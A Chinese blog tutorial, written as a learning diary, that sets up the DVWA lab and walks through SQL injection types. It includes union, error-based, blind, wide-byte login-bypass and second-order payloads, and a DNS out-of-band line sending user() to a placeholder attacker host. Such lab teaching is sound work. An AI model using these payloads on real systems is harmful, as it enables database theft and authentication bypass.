前言
中间玩游戏玩了一段时间,现在也能好好静下心来学习了,今天要学习的是SQL注入,前面我们也简单的学习了一下SQL,如果你还不会SQL可以网上学习一下或者看一下我那篇文章
博客性能优化
另外我的博客因为原先访问比较慢的原因优化了一下,如果你也是通过b站视频看到我博客的小伙伴,有同样问题的可以按照我这么做
先下载上面这个字体文件,速度可能有点慢,因为是国外的网站,也是影响你访问速度的问题之一,然后额外css更改成这样,只要改开头,其他的不用改:
@font-face{ font-family:echo; src:url('/fonts/custom-font.woff2') format('woff2'); }就像图中这样,然后就是你博客打开后所有访问的图片,包括黑白背景图,每篇文章的特色图片,都需要转换为webp文件,可使用在线转换,或者下面这段代码(python环境,需安装Pillow库)
如果你有python的环境,就只需要pip install Pillow一下,然后粘贴下面的代码,输入你存放图片的路径和要输出图片的路径,然后就会帮你转换,速度很快,而且85的话画质肉眼看不出什么差别,但是大小却成倍的缩小,我也是将我博客的所有图片(文章里面的图片还没替换,太多了,用wordpress插件怕出问题,我朋友就是插件然后媒体库炸了,还无法上传图片,所以我打算从这章开始所有图片转webp,之前的除了特色图片封面其他的都不换了)
import os from PIL import Image print("=== 图片批量转换WebP工具 ===") input_dir = input("请输入图片所在目录: ").strip() output_dir = input("请输入输出目录: ").strip() print(f"\n开始转换 {input_dir} -> {output_dir}") formats = ('.jpg', '.jpeg', '.png') for filename in os.listdir(input_dir): if filename.lower().endswith(formats): input_path = os.path.join(input_dir, filename) output_filename = os.path.splitext(filename)[0] + '.webp' output_path = os.path.join(output_dir, output_filename) try: with Image.open(input_path) as img: if img.mode in ('RGBA', 'LA', 'P'): background = Image.new('RGB', img.size, (255, 255, 255)) if img.mode == 'P': img = img.convert('RGBA') background.paste(img, mask=img.split()[-1] if img.mode == 'RGBA' else None) img = background img.save(output_path, 'WEBP', quality=85, optimize=True) print(f"✓ 已转换: {filename} -> {output_filename}") except Exception as e: print(f"✗ 转换失败: {filename} - {str(e)}") print("\n转换完成!")全部转换然后上传到你的博客替换好后你就会得到非常快的显示速度,实测从3秒载入35加载完毕到现在的2秒载入,11~13秒加载完毕
DVWA靶场搭建
学习使用的是dvwa的sql部分,所以需要搭建dvwa,具体拉去镜像的步骤可以在csdn找,挺多了,拉取完镜像,正常docker启动即可
docker run --rm -d -p 8080:80 --name dvwa vulnerables/web-dvwa # 启动容器访问靶场,用admin password登录后可能显示 “PHP 函数 allow_url_include: 禁用 ”的问题,回到终端进入容器
docker exec -it dvwa bash # 进入容器然后粘贴这两个代码,会直接修改
sed -i 's/allow_url_include = Off/allow_url_include = On/g' /etc/php/7.0/apache2/php.ini sed -i 's/allow_url_fopen = Off/allow_url_fopen = On/g' /etc/php/7.0/apache2/php.ini然后退出,重启
exit docker restart dvwa然后重新访问web页面,登录后点击创建数据库即可
SQL注入
什么是SQL注入
SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入时将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以进行数据库命令。如果web应用程序的开发人员对用户输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击
基础知识

其中二三板块的增删改查我们前面学习SQL已经学习过了,所以只需要了解一四板块的内容即可
information_schema
information_schema是MySQL数据库中的一个系统数据库,主要用于存储关于数据库及其结构的元数据信息,方便用户查询和分析数据库的结构和状态
可以理解为一本书的目录,可以获取每一章的章节名,页码等信息。这个系统数据库也可以获取到关于数据库及其结构的元数据信息,所以在SQL注入中比较重要
SQL注入流程
首先需要判断有无注入点
然后判断操作系统、Web、数据库类型
再尝试获取数据库信息
如果获取到的时加密的数据,还需要进行破解
最后是权限提升
SQL注入类型
SQL注入包括基于报错的SQL注入、基于布尔的SQL注入、基于union的注入(也叫联合查询注入)、基于时间的盲注、基于分号的堆叠查询注入、基于存储的二次注入、基于字符编码转换漏洞的宽字节注入、基于DNS解析协议的dns带外sql注入、基于cookie的sql注入、基于SMPT邮件相关的注入、等等,非常多,这些是目前我知道的,不过肯定还有我漏掉的,所以才需要不断的去学习
注意
如果后面的部分你实验时发现无法正常注入,请检查是否漏掉了空格, — 符号后面是有一个空格的,如果不想用空格可以使用 –‘ 或者直接用 # 都可以用来注释
报错注入
报错注入是指利用数据库在处理错误时返回的详细信息,获取敏感数据或进一步攻击数据库。通过构造特定的SQL语句,触发数据库的错误信息回显,攻击者可以从中提取数据库结构、表名、列名等信息
打开dvwa,切换安全级别为low,切到SQL注入板块,输入一个 ‘ 提交会发现报错了,这就好比你语文标点符号,xx说:“xxx” 其中 :“ ” 这些标点符号规定成这样,那你要是不这么写就不对,在SQL中也是,如果末尾不加 ; 会以为你这句话没说完,如果多出或者少了一个引号也会引发错误,所谓的报错注入就是利用系统给出的详细报错信息来获取数据库的信息
这里我们就可以用到这几个函数:concat(),updatexml(),floor(),extractvalue()
这几个函数都是用于报错注入,其中concat()函数的作用是连接字符串,并促使updatexml()报错,其中的括号至少需要连个参数
updatexml()是MySQL中用于更新XML文档的函数,其中有三个参数(XML_document,XPath_string,new_value),第二个参数需要是xpath格式的字符串,当XPath字符串格式不正确时,MySQL会报错,并且会显示我们构造的非法XPath字符串的内容。我们可以利用这个特性,将想要查询的数据作为XPath字符串的一部分,从而在错误信息中显示出来,例如:
updatexml(1,concat(0x7e,(select version()),0x7e),1)这里 0x7e 是 ~ 的十六进制,作为分隔符,看得更加明显,执行这个后,因为 ~version()~ 不是合法的XPath,所以会报错,错误信息中会显示 ~5.7.17~(具体版本号可能不同,这里假设为5.7.17)不过返回长度会有限制,所以较长的数据需要分段获取
extractvalue()是MySQL中用于从XML文档中提取值的函数,语法为:
extractvalue(XML_document,XPath_string)和updatexml()类似,当XPath字符串格式不正确时,会报错并显示非法XPath字符串的内容,不过同样也有长度限制
extractvalue(1,concat(0x7e,(select version()),0x7e))floor()是数学函数,用于向下取整。在SQL注入中,floor()通常用于基于floor的报错注入,这种利用方式与group by 和 count() 结合使用,通过主键重复错误来泄露信息,例如:
select count(*),concat((select version()),floor(rand(0)*2)) as x from information_schema.tables group by x这里 rand(0) 会产生可预测的随机数序列,当与 group by 一起使用时,由于多次计算 rand(0)*2 会导致主键重复错误,然后错误信息中就会包含我们拼接的版本号,它与前两者最大的区别是数据长度限制宽松,可以一次返回较长的字符串
布尔注入
跟后面的基于时间的盲注一样,布尔注入也算盲注。
1' AND length(database()) = 1 --就像上面这个payload,因为没有返回的报错信息,所以我们需要去猜,怎么猜,先猜长度,比如数据库名的长度为1,如果页面成功返回就说明数据库名称的长度为1,不返回页面,就说明不对,因为dvwa的数据库名称为dvwa,是四位数,所以4!=1(不等于),所以不会返回页面,看到的就是空白,如果我们将1换成4,就能够看到返回的正常页面,这就说明长度为4,这就需要我们一个一个的去尝试,这就叫盲注,需要的时间会比较长
当然,dvwa的盲注还是有提供一点信息的,比如 User ID is MISSING from the database,如果条件为假就会返回这个,如果条件为真就会返回 User ID exists in the database,到这只是猜出了长度,还需要猜具体的字母,一个一个的试
数据库名称的每个字符可以是字母、数字或一些特殊字符。我们可以使用字符串函数比较操作
1' AND substring(database(),1,1) = 'a' --这个payload会猜测第一个字符串为a,不过为了避免大小写问题,我们通常使用ASCII值
a的ASCII值为97,payload为:
1' AND ascii(substring(database(),1,1)) = 97 --如果返回真,则第一个字符是 a ,否则继续尝试其他字符,但是手动尝试非常麻烦,通常我们会使用工具如SQLmap,或者编写脚本来自动化这个过程
延时注入
叫法很多,延时/延迟都有,它是基于时间的注入,通过一个函数来判断,也就是 sleep ,跟python代码一样,如果使用这个函数会停止一点时间。比如 sleep(10) 那么查询操作就会停止10秒,这个注入如果设置的时间比较短,可能因为页面加载缓慢导致误报,所以一般设置不能太短,自然也就比较耗费时间,跟布尔一样,都是盲注,没有回显或为了绕过安全限制才会使用,正常情况报错注入即可
1' and sleep(5) --还是使用SQL盲注的板块,然后使用上面这个payload,如果提交后页面加载比提交正常内容加载的速度慢了很多,那就存在盲注。因为测试起来比较麻烦,所以就不细讲了,跟布尔是一样的,需要靠猜来获取数据,非常耗时,建议使用工具如SQLmap,或者编写脚本来自动化这个过程
联合查询注入
基于 union 的SQL注入,主要用于页面能够正常回显内容,但是无法回显报错的场景,如果能够报错和回显内容,那么报错注入和联合查询注入都是可以的,如果报错页面被过滤或者 WAF 拦截,那么就可以尝试联合查询,如果仍然不行再考虑布尔和延时,因为这样更高效、直接
union 是 SQL 中用于合并多个 SELECT 语句结果集成的操作符,不过 union 的多个查询语句必须格式相同,语法如下:
SELECT column1, column2 FROM table1 UNION SELECT column1, column2 FROM table2;还是 dvwa 的 SQL 注入板块,点击右下角的 View Source 可以查看源代码
我的 dvwa 版本是 1.10 (各个版本差别不大),源代码如下:
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>因为我没有学过 php (后面补一下这个基础知识),不过大体还是能够看懂的,实在不行交给 ai 分析也行,其中这段代码,是处理 Submit 提交按钮的部分,将用户输入用 id 这个变量来接收
if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ];下面这个代码就非常明确了,是将用户输入的内容直接与 SQL 语句拼接,所以才有 SQL 注入漏洞
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";然后完整的 SQL 语句用 query 来接收
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );接下来就是执行, mysqli_query()函数是MySQLi扩展中用于执行SQL查询的函数,里面的两个参数,第一个是数据库连接对象,用的是一个全局变量,然后是 or ,与或非中的或,如果前面的执行结果为 false 就执行 die 函数,输出错误信息并终止脚本
然后是 pre 标签,用来格式化输出,方便查看报错信息,is_object 字面意思,是否工作,用来检查连接对象是否存在且有效,如果是,则调用 mysqli_error() 函数来获取最近一次数据库操作的错误信息,如果不是就会检查是否有连接错误
先将连接错误信息赋值给 $___mysqli_res 然后判断是否存在连接错误,如果有则输出连接错误,否则输出 false
接下来的代码就是取值用 first 和 last 来接收结果,并拼接输出,然后关闭连接
// Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); }这里我们主要是看查询语句,这个代码分析是顺带讲解,查询语句也就是 $query ,里面可以看到查询的是 first_name 列和 last_name 列 ,一共是两列,如果是三列,那么我们联合查询构造的查询语句也要是三列,因为语法规定
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";这里是两列,所以即使是没有源代码的情况下也能快速试出来
1' union select 1 --' 1' union select 1,2 --' 1' union select 1,2,3 --' ....... # 依次类推,不断加可以看出前面语句查询的列数然后我们构造相同列数的payload即可:
1' union select version(),database() --'通过这个payload我们可以获取到目标的数据库版本信息和数据库名,但是你会发现只返回了版本信息,database函数的信息没有
重新分析了一下SQL语句,将后面的单引号换成空格,或者直接使用 # 就正常了,可能是因为 –‘ 没有正确注释的原因,只是闭合了后面的单引号,所以也没有报错。猜测数据库实际上执行了两个查询:第一个是原始查询和UNION查询,但是第二个列因为语法错误而返回了空,而第一个列因为已经执行所以返回了结果
1' union select version(),database() -- ' # 闭合前面的单引号,要不然代码颜色不一致 1' union select version(),database() #重新构造payload,第一个 — 后面是有一个空格的,提交后结果如图
如果想要查询所有的数据库名称,那我们就可以用到前面提到的 information_schema 库了,这个库中的 schemata 表和 tables 表都可以用来查询所有的数据库名, schemata 中所有的数据库名称在 schema_name 这个列下, tables 中的所有数据库名称在 table_schema 这个列下,所以可以构造如下两个语句来获取所有数据库名
1' union select schema_name,2 from information_schema.schemata # ' # 闭合前面的单引号,要不然代码颜色不一致 1' union select table_schema,2 from information_schema.tables #因为使用 # 或者 — 空格会有一个单引号无法闭合,导致代码颜色不一致,所以中间加了一个单引号,无意义,不用管
使用这两个 payload 就能够获取到所有数据库的名称,不过这里只会显示 information_schema 和 dvwa 这两个数据库的名称,因为在 SQL 中联合查询后面的查询语句是子查询,子查询是有权限限制的,所以只会返回有权限能查到的数据库的名称。(版本问题,有些版本需要使用group_concat函数,也就是下面那个payload,才会返回很多)table_schema 会返回很多,但实际上任然是这两个,只不过是因为 tables 这个里面会有很多表,不过这些表都是 information_schema 这个数据库下的,所以数据库名都是 information_schema
然后如果返回的内容很多,想要合并到一起,可以使用group_concat()
1' union select group_concat(table_schema),2 from information_schema.tables #这里将2换成获取表名,payload如下
1' union select group_concat(table_schema),group_concat(table_name) from information_schema.tables #如果不想合并,去掉 group_concat 即可,但是可能不会显示全部数据,因为数据太多了,如果想要从第 n 行开始显示,可以使用 limit ,第一个数据的索引为0,也就是从0开始计数
比如,只显示第二个到第七个,我们可以用如下payload:
1' union select table_schema,table_name from information_schema.tables limit 1,6 #返回结果:
堆叠注入
堆叠注入就是 SQL 语句一般会以 ;表示结尾,那么我们主动添加一个 ;结束前面的语句然后再重新执行一共语句,这样就不是子查询了,我们就有足够的权限查询到所有的表名
1'; SHOW DATABASES -- 1'; SELECT schema_name FROM information_schema.schemata --堆叠注入就不是子查询了,是另外的一条查询语句,可以执行任意 SQL 语句,权限取决于数据库用户的完整权限集,但是,dvwa 的这个靶场中安全级别 low 不适用,因为看前面的源代码你会发现,执行 SQL 语句用的是 mysqli_query ,而 mysqli_query 默认是不支持多语句的,mysqli_multi_query 才支持多语句,不过我没有切换等级,还是low,不确定更高的安全等级存不存在堆叠注入,这里只是讲一下
二次注入
二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询,这个的话我记得我以前看那个《白帽子讲Web安全》里面有讲,主要是用来绕过限制的
具体原理是在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在后端代码中可能会被转义,但在存入数据库时还是原来的数据,数据中一般带有单引号和#号,然后下次使用在拼凑SQL中,所以就形成了二次注入
二次注入主要有两个条件,一是用户向数据库插入恶意语句(即使后端代码对语句转义了),二是数据库对自己存储的数据非常放心,直接取出恶意数据给用户
比较经典的一个场景是利用二次注入重置管理员密码:
首先,注册一个恶意的用户名,用户名为 admin’# ,应用程序在入库时进行了转义,数据库中存储的用户名是 admin’#(如果转义符也被存储,则可能是 admin\’#,但在某些情况下,如读取时转义符被处理,或与SQL截断结合,’ 仍能起作用)
然后,登录自己的账户 (admin’#) 后进行密码重置。此时,应用程序可能执行如下SQL语句:
UPDATE users SET password = 'new_password' WHERE username = 'admin'#'这里的引号就会闭合前面的引号,# 则注释掉了后续所有代码。最终,这条SQL语句的实际效果变成了:
UPDATE users SET password = 'new_password' WHERE username = 'admin'结果就会导致管理员的密码被重置,从而夺取控制权
别看这里举例简单,实际情况中非常难复现,但是一旦复现成功,那么危害一般都比较大。因为二次注入拥有极高的隐蔽性。首次提交数据时,由于有转义处理,传统扫描工具和WAF很难检测出异常。攻击payload是“潜伏”在数据库中,在完全不同的操作环节触发。不过二次注入通常需要通过白盒测试(代码审计) 才能比较有效地发现。你需要找到数据流的完整路径:从输入点,到存储,再到最终的触发点
二次注入也通常与其他注入技术结合,以精确提取数据,因为触发点的回显可能并不直接。但是由于攻击可能发生在如密码修改、支付、数据更新等关键业务环节,一旦成功,可能导致越权、敏感数据泄露、任意数据篡改甚至提权等严重后果
宽字节注入
为了防止 SQL 注入,Web应用程序通常会使用转义函数(如PHP的 mysql_real_escape_string 或 addslashes)。这些函数会在特殊字符(如单引号 ‘)前加上一个反斜杠 \。例如,用户输入 ‘ 会被转义为 \‘ , 这样,在 SQL 查询中,这个单引号就失去了其语法意义,变成了一个普通的字符
一个字符数大小为两个字节的为宽字节,比如GBK编码,我们汉字通常使用的就是 GBK 编码,也就是说一次性会读取两个字节,GBK、GB2312 等是中文字符集,它们通常使用两个字节来表示一个字符,而 ASCII 字符(包括反斜杠 \ )是单字节的
宽字节注入是一种利用数据库字符集转换特性来绕过转义(如addslashes或mysql_real_escape_string)的 SQL 注入技术。它主要发生在使用 GBK、GB2312 等宽字符集的环境中。当数据库使用宽字符集时,某些特殊字节会被解释为一个汉字的一部分,从而使得转义符号(反斜杠\)被“吞掉”,导致注入成功
当数据库连接层(如 PHP 和 MySQL 之间的连接)被设置为一个宽字符集(如 set character_set_client=gbk),并且转义函数发生在字符集转换的上下文中时,一个精心构造的输入就可以“吃掉”那个用于转义的反斜杠
举个列子:
用户输入的内容是
%bf%27(这是0xbf27的URL编码形式),PHP的 addslashes 或类似的函数检测到%27,从而进行转义,于是它在前面加一个反斜杠,然后转义后的字符串就变成了%bf%5c%27,即0xbf5c27,当这个被转义后的字符串被发送到 MySQL 时,由于连接字符集是 GBK,MySQL 会按照两个字节一个字符的方式去解析它, MySQL 看到0xbf5c,并在 GBK 字符集码表中进行查找。它发现0xbf5c正好对应着一个完整的、合法的GBK字符:縗 。于是, MySQL 将0xbf5c解析(合并)为字符 縗,剩下的0x27被独立解析为单引号,经过这个转换,原本的 %bf%5c%27 就变成了 縗 ‘ ,那个用于转义的反斜杠\神奇地消失了! 单引号成功逃逸,重新成为了一个可以闭合SQL语句的危险字符假设有一个登录功能,会将用户输入的内容转义,那么我们适用以下payload就可以成功绕过,实现注入:
admin%bf%27 OR 1=1 --%bf%27 是我们的宽字节payload,OR 1=1 使条件永真,– 是注释符,用于注释掉后续的SQL代码(尤其是密码部分)
转义前: admin%bf%27 OR 1=1 -- 转义后: admin%bf%5c%27 OR 1=1 -- (addslashes 在 %27 前加了 %5c) MySQL GBK解码后: admin縗' OR 1=1 --最终执行的SQL语句就会变为:
SELECT * FROM users WHERE username='admin縗' OR 1=1 -- ' AND password='...'由于 — 注释掉了后面的所有内容,实际的查询变成了:
SELECT * FROM users WHERE username='admin縗' OR 1=1这个查询会返回所有用户(因为
1=1永远成立),攻击者从而绕过了身份验证,以管理员身份进行了登录
DNS/SMPT带外注入
DNS带外注入(DNS Exfiltration)是一种利用DNS协议来从目标数据库中提取数据的SQL注入技术。它属于带外通道攻击(Out-of-Band OOB)的一种
如果你想了解更多带外通道攻击(OOB)或者相关,可点击跳转下面这篇文章
利用DNS实现SQL注入带外查询(OOB) – renblog – 博客园
这个我记得是看小迪的安全课程时知道的,不过当时他演示并不是为了SQL注入,是我在学习SQL注入中想起好像有这么一种可能,然后查看的相关文章
out-of-band带外数据(OOB)与inband相反,它是一种通过其他传输方式来窃取数据的技术(例如利用DNS解析协议和电子邮件),OOB技术通常需要易受攻击的实体生成出站TCP/UDP/ICMP请求,然后允许攻击者泄露数据。OOB攻击的成功基于出口防火墙规则,即是否允许来自易受攻击的系统和外围防火墙的出站请求。而从域名服务器(DNS)中提取数据,则被认为是最隐蔽有效的方法
DNS带外注入的核心思想是:利用数据库系统能够发起网络请求的功能,将查询到的敏感数据通过DNS查询请求发送到攻击者控制的服务器上,从而实现对数据的”外带”(Out-of-Band)提取,这种攻击对比传统的SQL注入,不仅解决了无回显,无布尔状态、无时间延迟差异的”全盲”环境,同时高效快捷,不需要一个一个的猜测,而且产生的DNS流量通常不像HTTP异常请求那样容易被Web应用防火墙(WAF)检测到,隐蔽性较高
首先,需要准备一个域名,然后配置其DNS服务器的日志记录功能,当然也有现成的可以直接使用,那就是dnslong.cn
然后提交构造好的payload到注入点:
1' and load_file(concat("\\\\",user(),"123.123.123\\xxx.txt"))--其中123.123.123换成你获取到的地址,提交之后就能够在在线平台或者日志功能里面看到了,但是我本地的靶机是ubuntu搭建的,需要windows操作环境,所以就没有继续尝试了,SMPT的带外攻击也是一样的,具体就不讲了,敢兴趣或者碰上了这种情况可以看看
Cookie注入
Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式,通常被用来辨别用户身份、进行session跟踪,最典型的应用就是保存用户的账号和密码用来自动登录网站
cookie注入与传统的SQL注入基本上是一样,都是针对数据库的注入,就是注入的位置不同,注入形式不同
具体可以查看这篇文章:
【SQL注入】cookie注入:原理、步骤、示例-CSDN博客
因为靶场是 SQLi-Labs ,所以我也不太好演示,找了找也没找到太多详细的文章,不过了解以下就可以了,主要是碰上的时候知道就ok



















